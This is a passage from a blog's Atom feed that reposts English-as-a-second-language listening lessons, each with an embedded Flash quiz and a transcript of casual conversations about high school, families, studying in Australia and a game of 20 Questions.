/&gt;&lt;br /&gt;Jeyong: First, of all I don't go to night clubs that often because I'm not a party-party girl, but then I like dancing so I only went to club once when I was in Korea and I actually told my parents the truth that I am going to a party at a club so it was alright for me to wear sexy clothes and then leave home.&lt;br /&gt;&lt;br /&gt;Todd: Ah, that's good, you have very supportive parents. OK, well thanks. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1331509219148219458?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1331509219148219458/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/559-how-to-look-sexy-jeyong-gives.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1331509219148219458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1331509219148219458'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/559-how-to-look-sexy-jeyong-gives.html' title='#559 How to Look Sexy - Jeyong gives fashion tips for a night club'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2797986414550387306</id><published>2007-09-14T22:00:00.001+07:00</published><updated>2007-09-14T22:00:08.744+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#558 Embarrassing Moments - Todd and Mark share embarrassing moments</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/558Q-Mark-Date.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/558Q-Mark-Date.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Mark: So Todd what would you say was your best moment of your whole high school experience?&lt;br /&gt;&lt;br /&gt;Todd: Oh, wow. My best moment was, well I played football and they never gave me the ball. I always sat on the bench and then one game, I actually got to touch the ball and run with the ball, but unfortunately it was also my worst moment, cause as I was running with the football, you run forward and there was nobody in front of me and I tripped, and it was pretty embarrassing.&lt;br /&gt;&lt;br /&gt;Mark: Like you, the field was open, you could have.&lt;br /&gt;&lt;br /&gt;Todd: Scored. Yeah, yeah. Could have been the hero and all that and I tripped. But most of my negative stuff, or my bad memories were all to do with girls.&lt;br /&gt;&lt;br /&gt;Mark: Yeah, me too.&lt;br /&gt;&lt;br /&gt;Todd: Let's see, there was one time I asked a girl out to a date and she said that she would go out with me, and I was so happy, and I was walking away from her and I was waving and at the last minute I saw her turn away and flinch, and I thought, "Why is she flinching? Why is she turning away?" That's right about the time I walked right into a pole. It just about knocked me out, and so she didn't even come over and see if I was OK. She kind of just left me there cause she figured I was embarrassed.&lt;br /&gt;&lt;br /&gt;Mark: Oh, were you embarrassed?&lt;br /&gt;&lt;br /&gt;Todd: Of course.&lt;br /&gt;&lt;br /&gt;Mark: Of course.&lt;br /&gt;&lt;br /&gt;Todd: There was another girl the year before that I has asked out for my first date. So we went out to the movies and then after the date, you have to walk her to the front door (right) and we walked to the front door and the main thing is can you get a kiss goodnight (right) so I was just so nervous that she wouldn't kiss me and so then we walked to the front door and she kissed me and I was so happy cause I just felt like "Wow, I got a kiss on my first date!" and then I went to school the next Monday morning and I'm walking through campus and I feel really good because, you know, I can say that I got a kiss, and I walk up to my friends and they just start laughing at me, and they're like, "Yeah, we talked with Laura" that was the girl's name, "We talked with Laura and she said you kiss like a fish."&lt;br /&gt;&lt;br /&gt;Mark: Ah, man (so) Oh, that's rough.&lt;br /&gt;&lt;br /&gt;Todd: Yeah, it's pretty bad. My moment of glory was ruined.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2797986414550387306?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2797986414550387306/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/558-embarrassing-moments-todd-and-mark.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2797986414550387306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2797986414550387306'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/558-embarrassing-moments-todd-and-mark.html' title='#558 Embarrassing Moments - Todd and Mark share embarrassing moments'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-1534213671522965118</id><published>2007-09-14T21:55:00.002+07:00</published><updated>2007-09-14T21:55:17.255+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#557 High School - Mark and Todd remember high school</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/557Q-Mark-HighSchool.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/557Q-Mark-HighSchool.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Mark: Hey, Todd, when you look back on your high school experience, do you, in general, do you see it as a positive or a negative experience?&lt;br /&gt;&lt;br /&gt;Todd: Oh, definitely positive. It was one of the best times of my life.&lt;br /&gt;&lt;br /&gt;Mark: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: Oh, it was awesome. I mean, it was being with your friends,and you know, driving for the first time and having your first part-time job and playing sports and going to dances. It was great.&lt;br /&gt;&lt;br /&gt;Mark: Now did, a lot of high schools in the states, I went to high school in the states and a lot of high schools have, there are these clicks, you know, there's like a popular group of kids, and then there are other kids who don't really feel like they belong (right) Yeah, I know you Todd. You strike me as you were probably one of the popular kids, so of course you're gonna think high school was great.&lt;br /&gt;&lt;br /&gt;Todd: Well, no, actually, I wasn't one of the popular kids, but I was in the popular group, so I played sports so I was one of the jocks.&lt;br /&gt;&lt;br /&gt;Mark: Yeah, one of the jocks, always, they get into the popular clicks easier. So do you, can you imagine like how somebody might feel that wasn't in one of those groups, that they might have hated high school?&lt;br /&gt;&lt;br /&gt;Todd: Well, I don't know who hated high school but I remember there were the motor heads. Those were the guys that were always working on their car. They had really nice cars they fixed up. They probably didn't like high school too much, then there were the drama freaks, and the drama freaks were, they dressed really different and they were kind of into punk at that time. They were very artistic and very creative, very smart, and because they were so different, I think a lot of kids made fun of them, so maybe they didn't like high school.&lt;br /&gt;&lt;br /&gt;Mark: Now were you one of the kids that made fun of them?&lt;br /&gt;&lt;br /&gt;Todd: Definitely not. I mean, I was never that way. Actually, I was the kid that somehow was friends with everybody because even though I was with the jocks, I wasn't a good jock. I was a terrible athlete, so I was maybe just surviving by being friends with them anyway, but yeah.&lt;br /&gt;&lt;br /&gt;Mark: Now, you're a good baseball player though, right?&lt;br /&gt;&lt;br /&gt;Todd: Actually I was but I didn't play baseball because I, in high school because I, foolishly I wanted to make money. I wanted to get a part-time job and get a car, so I stopped. I played football and basketball, though.&lt;br /&gt;&lt;br /&gt;Mark: OK, now most high schools, just about every high school, after ten years, you have a high school reunion. Did you go to your 10-year high school reunion?&lt;br /&gt;&lt;br /&gt;Todd: You know, I did not go to my high school reunion. My friends went and, you know, they said it was a pretty good time and everyone had changed, but I didn't go. Have you been to yours?&lt;br /&gt;&lt;br /&gt;Mark: I did. I went to mine last year.&lt;br /&gt;&lt;br /&gt;Todd: Oh, really. Did everybody still look the same?&lt;br /&gt;&lt;br /&gt;Mark: For the most part. What I found interesting is the popular clicks, that I talked about before, they still existed. It was ten years later and it was like all the popular, you know, they're not kids anymore, but all the popular people were hanging out together and all the nerds were kind of standing around on the side and looking lonely and depressed.&lt;br /&gt;&lt;br /&gt;Todd: Wow.&lt;br /&gt;&lt;br /&gt;Mark: Yeah it as kind of sad.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1534213671522965118?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1534213671522965118/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/557-high-school-mark-and-todd-remember.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1534213671522965118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1534213671522965118'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/557-high-school-mark-and-todd-remember.html' title='#557 High School - Mark and Todd remember high school'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8576614392792105715</id><published>2007-09-14T21:51:00.002+07:00</published><updated>2007-09-14T21:51:53.080+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#556 Mean Professor - Shuan and Brett talk about their classes</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/556Q-Brett-Class.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/556Q-Brett-Class.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Brett: Hey, Shawn, how are classes going?&lt;br /&gt;&lt;br /&gt;Shawn: Well, it's exam time right now, and you know what, I really think I'm going to fail this one class.&lt;br /&gt;&lt;br /&gt;Brett: Why is that?&lt;br /&gt;&lt;br /&gt;Shawn: Well, it's not any of my fault. It's actually, I think that the teacher doesn't like me.&lt;br /&gt;&lt;br /&gt;Brett: He doesn't like you. What do you mean?&lt;br /&gt;&lt;br /&gt;Shawn: It's kind of strange, I mean, I go up and I ask him and he disagrees with me and but he actually takes personal offense to what I say.&lt;br /&gt;&lt;br /&gt;Brett: Personal offense.&lt;br /&gt;&lt;br /&gt;Shawn: Which is funny, right.&lt;br /&gt;&lt;br /&gt;Brett: What do you mean?&lt;br /&gt;&lt;br /&gt;Shawn: Like, I'll give you an example. I went up because I didn't get a question on my homework right, and I asked him why I didn't get any marks for it, and the question in the book, asked you for your own opinion, so I did write my own opinion, but when I went up to talk to him about the question he said that what I had written wasn't in the book so I got no points for it.&lt;br /&gt;&lt;br /&gt;Shawn: So what's the point of asking for your own opinion?&lt;br /&gt;&lt;br /&gt;Brett: See, that's the funny part. I don't know.&lt;br /&gt;&lt;br /&gt;Shawn: What about you? How are your classes going?&lt;br /&gt;&lt;br /&gt;Brett: My classes are going OK. Right now I'm really just working on my thesis, and it's taking me a long time to gather all the materials, resources, and go through all the readings, but it's going OK, I think.&lt;br /&gt;&lt;br /&gt;Shawn: How many pages do you have to write for your thesis?&lt;br /&gt;&lt;br /&gt;Brett: I probably have to write about twenty pages, or so, and I have to survey, about a thousand people and it's taking me a lot of time to analyze all that data.&lt;br /&gt;&lt;br /&gt;Shawn: Twenty pages, that's not, is that double space or single space?&lt;br /&gt;&lt;br /&gt;Brett: That's double space.&lt;br /&gt;&lt;br /&gt;Shawn: So that's not that much.&lt;br /&gt;&lt;br /&gt;Brett: Yeah, it's about 10,000 words, or so.&lt;br /&gt;&lt;br /&gt;Shawn: Well, I hope you do well and good luck to your research.&lt;br /&gt;&lt;br /&gt;Brett: Thank you.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8576614392792105715?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8576614392792105715/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/556-mean-professor-shuan-and-brett-talk.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8576614392792105715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8576614392792105715'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/556-mean-professor-shuan-and-brett-talk.html' title='#556 Mean Professor - Shuan and Brett talk about their classes'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8042684635016908513</id><published>2007-09-14T21:47:00.001+07:00</published><updated>2007-09-14T21:47:37.542+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#555 Families - Senem and Brett talk about their families</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/555Q-Senem-Family.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/555Q-Senem-Family.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Brett: Hi, Senum, how are you?&lt;br /&gt;&lt;br /&gt;Senum: Good, thank you Brett. How are you?&lt;br /&gt;&lt;br /&gt;Brett: Very good. So let's talk about family today.&lt;br /&gt;&lt;br /&gt;Senum: Alrighty then.&lt;br /&gt;&lt;br /&gt;Brett: So, how large is your family?&lt;br /&gt;&lt;br /&gt;Senum: Well, actually, I'm an only child, but I have a very large extended family.&lt;br /&gt;&lt;br /&gt;Brett: What ethnicity?&lt;br /&gt;&lt;br /&gt;Senum: I'm actualy, my families Turkish.&lt;br /&gt;&lt;br /&gt;Brett: Really!&lt;br /&gt;&lt;br /&gt;Senum: Yeah. We're all like, my family immigrated from Turkey about 20 years ago so we all came down to Turkey, and I was born in Australia actually, and I have a lot of family in Turkey, as well as Australia now.&lt;br /&gt;&lt;br /&gt;Brett: Do you still practice Turkish customs?&lt;br /&gt;&lt;br /&gt;Senum: Of course.&lt;br /&gt;&lt;br /&gt;Brett: Even though you're living in Australia.&lt;br /&gt;&lt;br /&gt;Senum: Definitely. We always have Turkish meals, do Turkey, celebrate Turkish days,and.&lt;br /&gt;&lt;br /&gt;Brett: Like what kind of Turkish days?&lt;br /&gt;&lt;br /&gt;Senum: For example we have Children's Day, and we celebrate that, where the children actually go to the elderly, the elder members of their families, and they go visit them, and they actually receive some money.&lt;br /&gt;&lt;br /&gt;Brett: Really.&lt;br /&gt;&lt;br /&gt;Senum: It's quite interesting. Yeah.&lt;br /&gt;&lt;br /&gt;Brett: Ah, what other holidays do you celebrate?&lt;br /&gt;&lt;br /&gt;Senum: Um, also we celebrate, it's called Lolliday.&lt;br /&gt;&lt;br /&gt;Brett: Lolliday.&lt;br /&gt;&lt;br /&gt;Senum: Yeah, and we just, the whole name of it is, once again to go to the elderly and to see them and to tell them that we care about them still, and that we are still thinking of them, though we don't see them probably every other day. How about you Brett? How many people are in your family?&lt;br /&gt;&lt;br /&gt;Brett: I'm, I have one younger brother and just my mom and dad.&lt;br /&gt;&lt;br /&gt;Senum: I see, and how about your extended family?&lt;br /&gt;&lt;br /&gt;Brett: Extended family? I have a lot of extended family, on both sides. It's too many to count, really so.&lt;br /&gt;&lt;br /&gt;Senum: So do you get together like on the weekends or anything like that?&lt;br /&gt;&lt;br /&gt;Brett: Ah, recent, yeah sometimes. My uncle has a very nice place that has a pool and all my cousins go out there every weekend and have a lot, usually a barbeque.&lt;br /&gt;&lt;br /&gt;Senum: Oh, sounds so cool. I pretty much do the same. We always try to organize some barbeques, some things like that, but, down by the beach, or at the parks, and we get together, a whole bunch of people, about 20 to 30 people, have lots of meat.&lt;br /&gt;&lt;br /&gt;Brett: Lots of meat.&lt;br /&gt;&lt;br /&gt;Senum: Yeah. We kids go running around everywhere.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8042684635016908513?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8042684635016908513/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/555-families-senem-and-brett-talk-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8042684635016908513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8042684635016908513'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/555-families-senem-and-brett-talk-about.html' title='#555 Families - Senem and Brett talk about their families'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2978112725651175763</id><published>2007-09-14T21:44:00.000+07:00</published><updated>2007-09-14T21:44:53.566+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#554 Aussie Tips - Senem gives advice about going to Australia</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/554Q-Senem-AussieAdvice.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/554Q-Senem-AussieAdvice.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Shawn: Hi, you're senum, am I right?&lt;br /&gt;&lt;br /&gt;Senum: That's right. And you're Shawn?&lt;br /&gt;&lt;br /&gt;Shawn: Yeah, yeah. I'm from Canada and I heard that you're from Australia.&lt;br /&gt;&lt;br /&gt;Senum: Yep. That's right.&lt;br /&gt;&lt;br /&gt;Shawn: Ah, that's great because I'm thinking of going to Australia on an exchange, but I'm not sure where to go, or what universities to go to, or even which city I should be looking at.&lt;br /&gt;&lt;br /&gt;Senum: Well, what time of the year will you be going to Australia?&lt;br /&gt;&lt;br /&gt;Shawn: I'm thinking of going between November and February.&lt;br /&gt;&lt;br /&gt;Senum: Oh, that's a great season. It's very hot then.&lt;br /&gt;&lt;br /&gt;Shawn: Yeah, I expected that it would be summer down there.&lt;br /&gt;&lt;br /&gt;Senum: It is.&lt;br /&gt;&lt;br /&gt;Shawn: So which cities would you recommend for, well, a good atmosphere, or a good university?&lt;br /&gt;&lt;br /&gt;Senum: Um, I would recommend in Melbourne for sure, only because I'm from Melbourne, and the weather is actually pretty nice in Melbourne. It's not that hot at, during the day, and it's not that cold at nighttime. One of the main universities in Melbourne is Monash University. It's well know for it's business courses. Um, it's a little bit expensive but if you, you can also receive scholarships from Monash.&lt;br /&gt;&lt;br /&gt;Shawn: Well, Monash, um, I'm actually interested with something to do with architecture, so I mean, I look at the Sydney Opera House, and I'm wondering if there's anything that would teach me architecture, just kind of like, how they designed the Opera House.&lt;br /&gt;&lt;br /&gt;Senum: I see. RMIT is well know for architecture course so, I would suggest RMT, for sure, in Melbourne.&lt;br /&gt;&lt;br /&gt;Shawn: RUMIT. Great I'll look it up when I get there.&lt;br /&gt;&lt;br /&gt;Senum: Alright.&lt;br /&gt;&lt;br /&gt;Shawn: Um, you said that Monash University was expensive, but how about RIT?&lt;br /&gt;&lt;br /&gt;Senum: RMIT&lt;br /&gt;&lt;br /&gt;Shawn: RMIT?&lt;br /&gt;&lt;br /&gt;Senum: Yes.&lt;br /&gt;&lt;br /&gt;Shawn: Ah, how much is that per year?&lt;br /&gt;&lt;br /&gt;Senum: Um, it's not as expensive as Monash. RMIT is located in the city so it's easy to get by through trams and trains and buses, and it's not that expensive for transportation and housing is pretty cheap, especially if you do homestay, you'll find that it will be really cheap, um, good luck.&lt;br /&gt;&lt;br /&gt;Shawn: Great. Does RMIT have a web site that I can look at?&lt;br /&gt;&lt;br /&gt;Senum: It does. Just go to www.rmit.edu.au.&lt;br /&gt;&lt;br /&gt;Shawn: Alright. I'll get that.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2978112725651175763?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2978112725651175763/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/554-aussie-tips-senem-gives-advice.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2978112725651175763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2978112725651175763'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/554-aussie-tips-senem-gives-advice.html' title='#554 Aussie Tips - Senem gives advice about going to Australia'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-249110518852703624</id><published>2007-09-14T21:38:00.000+07:00</published><updated>2007-09-14T21:38:29.711+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#553 20 Questions - Senem and Brett play the game 20 Questions</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/553Q-Senem-20Questions.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/553Q-Senem-20Questions.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Senum: Hey, Brett, how are you?&lt;br /&gt;Brett: Pretty good, how are you?&lt;br /&gt;Senum: Good, thank you.&lt;br /&gt;Brett: Hey, do you want to play a game?&lt;br /&gt;Senum: Sure. What sort of game?&lt;br /&gt;Brett: Let's play 20 questions.&lt;br /&gt;Senum: OK, go ahead.&lt;br /&gt;Brett: OK, who am I thinking about?&lt;br /&gt;Senum: Man? Is it a male?&lt;br /&gt;Brett: Yes, it's a male.&lt;br /&gt;Senum: Is he an actor?&lt;br /&gt;Brett: Yes, he's an actor.&lt;br /&gt;Senum: Does he have short hair?&lt;br /&gt;Brett: Yes, he has short hair.&lt;br /&gt;Senum: Right. Is he famous?&lt;br /&gt;Brett: Yes, he's famous.&lt;br /&gt;Senum: Does he have blue eyes?&lt;br /&gt;Brett: Yes.&lt;br /&gt;Senum: He does have blue eyes?&lt;br /&gt;Brett: No, he has...&lt;br /&gt;Senum: He doesn't have blue eyes?&lt;br /&gt;Brett: No, he doesn't have blue eyes.&lt;br /&gt;Senum: Does he have brown eyes?&lt;br /&gt;Brett: Yes.&lt;br /&gt;Senum: Is he short?&lt;br /&gt;Brett: No.&lt;br /&gt;Senum: Is he in the Ocean's 12?&lt;br /&gt;Brett: Yes.&lt;br /&gt;Senum: He is!&lt;br /&gt;Brett: Yes.&lt;br /&gt;Senum: OK. Is he married, currently?&lt;br /&gt;Brett: NO.&lt;br /&gt;Senum: He isn't married?&lt;br /&gt;Brett: No.&lt;br /&gt;Senum: OK. Is he tall?&lt;br /&gt;Brett: Yes.&lt;br /&gt;Senum: OK. Is he George Clooney?&lt;br /&gt;Brett: Yes.&lt;br /&gt;&lt;br /&gt;Senum: Great. OK, my turn now. Who am I think about it?&lt;br /&gt;Brett: Is he a male?&lt;br /&gt;Senum: 